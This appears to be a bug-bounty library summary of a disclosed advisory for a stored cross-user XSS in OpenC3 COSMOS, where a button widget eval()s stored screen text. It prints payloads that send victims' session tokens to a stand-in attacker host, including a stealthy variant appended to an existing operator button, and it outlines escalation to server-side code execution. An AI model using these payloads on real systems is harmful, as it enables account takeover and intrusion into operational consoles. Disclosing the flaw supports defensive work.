# OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget

Stored cross-user XSS in OpenC3 COSMOS BUTTON screen widget: eval() of stored button text steals other operators' localStorage session tokens.

- Payout: Research
- Severity: high
- Program: OpenC3 COSMOS
- Found by: ArpitKubadia
- Disclosed: 2026-09-23
- CVE: CVE-2026-77394
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-gvf2-2rh5-mpgf
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gvf2-2rh5-mpgf
- Tags: area:web domain:web impact:ato impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:rest technique:source-review vuln:xss

**Target:** Telemetry screen BUTTON widget in openc3-vue-common SPA
**Root cause:** ScreensController#create persists raw screen text with no sanitization, and ButtonWidget.vue eval()s the button's second parameter (split on ';;') on click, so attacker-stored JavaScript runs in any viewer's session. CSP allows 'unsafe-inline'/'unsafe-eval', so nothing blocks it.
**Steps:**
1. Authenticate with a user holding system_set and POST a screen: `{"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON 'Refresh' 'fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\n"}` to `/openc3-api/screen`
2. Victim opens `/tools/tlmviewer`, selects target INST and screen XSSPOC, clicks Refresh
3. Out-of-band request carrying the victim's live `ses_…` token arrives at attacker host
4. Realistic variant: overwrite an existing operational screen (e.g. INST COMMANDING) and append `;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))` to the Start Collect button action, keeping the original command intact
**How found:** Code review of the screen save path and the ButtonWidget component: noticed the button action is stored verbatim and passed to eval(), and that screens are shared per-scope, making it cross-user rather than self-XSS; CSP review confirmed unsafe-eval permits execution.
**Exploitation:** Attacker with system_set saves or overwrites a shared screen; when another operator opens it and clicks the button, the eval'd payload reads localStorage.openc3Token and exfiltrates it to an attacker host. The bearer token is then replayed in the Authorization header for account takeover, and a victim with script privileges can be pivoted through Script Runner to server-side code execution.
**Escalation:** Token theft → session takeover as victim → Script Runner abuse for server-side code execution; appending payload after ';;' to existing buttons avoids any lure.
**Insight:** In operator-console products, look for widgets that eval() user-editable display/config content and check whether that content is shared across users; appending payload after an existing delimiter (here ';;') to a button operators already click gives silent persistence without a lure.

## Proof of concept (copied exactly from the original report)

**Appended payload to existing Start Collect button**

```
... +
  " ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))"
  Re-save the screen (`POST /openc3-api/screen`, same route).
```

